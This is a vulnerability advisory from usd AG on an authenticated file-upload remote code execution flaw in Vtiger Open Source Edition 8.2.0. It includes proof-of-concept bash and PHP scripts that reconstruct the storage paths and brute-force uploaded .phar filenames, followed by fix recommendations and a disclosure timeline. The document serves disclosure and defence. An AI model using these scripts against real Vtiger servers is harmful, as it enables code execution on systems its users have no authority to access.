usd-2024-0015 | Vtiger Open Source Edition 8.2.0 - Authenticated Remote Code Execution
Product: Vtiger
Affected Version: Open Source Edition 8.2.0
Vulnerability Type:Unrestricted Upload of File with Dangerous Type (CWE-434)
Security Risk: Critical
Vendor: Vtiger
Vendor URL: https://www.vtiger.com/
Vendor acknowledged vulnerability: Yes
Vendor Status: Not fixed
CVE Number: Requested
CVE Link: Requested
Description
Vtiger Open Source Edition 8.2.0 allows low-privileged authenticated users to execute arbitrary code. The document module has an insufficient deny list, allowing the upload of .phar files. The storage location can be brute-forced, allowing the execution of the uploaded file. The default Docker image is vulnerable, as well as all systems that are configured to evaluate .phar files.
Proof of Concept
A file containing the payload, phpinfo.phar with content in this example, can be uploaded via the webinterface.
The file is uploaded to a subdirectory of storage/<YYYY>/<MonthFullName>/<WeekInMonth>/. Its filename is generated using the following function.
public static function getEncryptedFileName($sanitizedFileName) {
$encryptedFileName = $sanitizedFileName;
if ($sanitizedFileName) {
$fileNameParts = explode('.', decode_html($sanitizedFileName));
$fileType = array_pop($fileNameParts);
$encryptedFileName = md5(md5(microtime(true)).implode('.', $fileNameParts)).'.'.$fileType;
}
return $encryptedFileName;
}
In the default Docker installation, brute-forcing the filename is not necessary since directory listings are enabled.
If directory listings were not enabled, the possible encrypted filenames are brute-forceable. The following listing shows the used scripts.
#!/bin/bash BASE_URL="[http://localhost"]() FILE_ID="34" FILE_NAME="phpinfo.phar" FILE_DATE_STRING="2024-09-20 07:19 AM" PATH_BASE=$(php GenBasePath.php "$FILE_ID" "$FILE_DATE_STRING") for SEC_OFFSET in $(seq 0 60); do echo "Trying second offset $SEC_OFFSET" ffuf -u ${BASE_URL}/storage/${PATH_BASE}FUZZ -w <(php GenPotentialNames.php "$FILE_ID" "$FILE_NAME" "$FILE_DATE_STRING" "$SEC_OFFSET") -noninteractive -s done;
<?php $fileName = $argv[1]; $initialTimestamp = strtotime($argv[2]); $secOffset = intval($argv[3]); //$microsecond = 1 / 1000000; // While this is a real microsecond, PHP does not seem to have sufficient precision $microsecond = 1 / 10000; // This suffices. $fileNameParts = explode('.', $fileName); $fileType = array_pop($fileNameParts); for($iTs = $initialTimestamp + $secOffset; $iTs <= $initialTimestamp + $secOffset + 1; $iTs += $microsecond) { $encryptedFileName = md5(md5($iTs).implode('.', $fileNameParts)).'.'.$fileType; echo $encryptedFileName . "\n"; } ?>
<?php $fileId = $argv[1]; $initialTimestamp = strtotime($argv[2]); $weekInMonth = date('W', $initialTimestamp) - date('W', strtotime(date('Y-m-01', $initialTimestamp))); $pathBase = date('Y', $initialTimestamp).'/'.date('F', $initialTimestamp).'/week'.$weekInMonth.'/'.$fileId.'_'; echo $pathBase; ?>
The required values in the above bash script can be seen in the details of the uploaded document.
Running the above bash script outputs the identified file name. Note that the amount of required requests can be reduced significantly by narrowing down the creation time on the level of seconds, rather than relying on the creation time displayed in the webinterface.
When the file is accessed directly, its contents are executed.
Fix
Multiple separate adjustments are recommended for an in-depth fix:
- The .phar extension should be added to the deny list.
- Execution of .phar files via the PHP interpreter should be disabled.
- Directory listings should be disabled globally.
- A secure random number generator should be used to generate unguessable filenames.
- If possible, direct access to the storage directory should be forbidden completely.
Users of Vtiger should upgrade to a patched version.
References
- https://www.vtiger.com/open-source-crm/download-open-source/
- https://hub.docker.com/r/vtigercrm/vtigercrm-8.2.0
- https://cwe.mitre.org/data/definitions/434.html
Timeline
- 2024-09-24: Initial contact request to Vtiger
- 2024-10-14: Sent reminder via email
- 2024-11-25: Sent follow up email and opened security issue on Vtiger's GitLab instance
- 2025-01-29: Received contact information for disclosing vulnerabilties
- 2025-01-29: Disclosed findings via provided contact address
- 2025-03-03: usd AG reviewed implementation of suggested fixes and provided further guidance to strengthen Vtiger's security
- 2025-06-02: This advisory is published
Credits
This security vulnerability was identified by Florian Dewald of usd AG.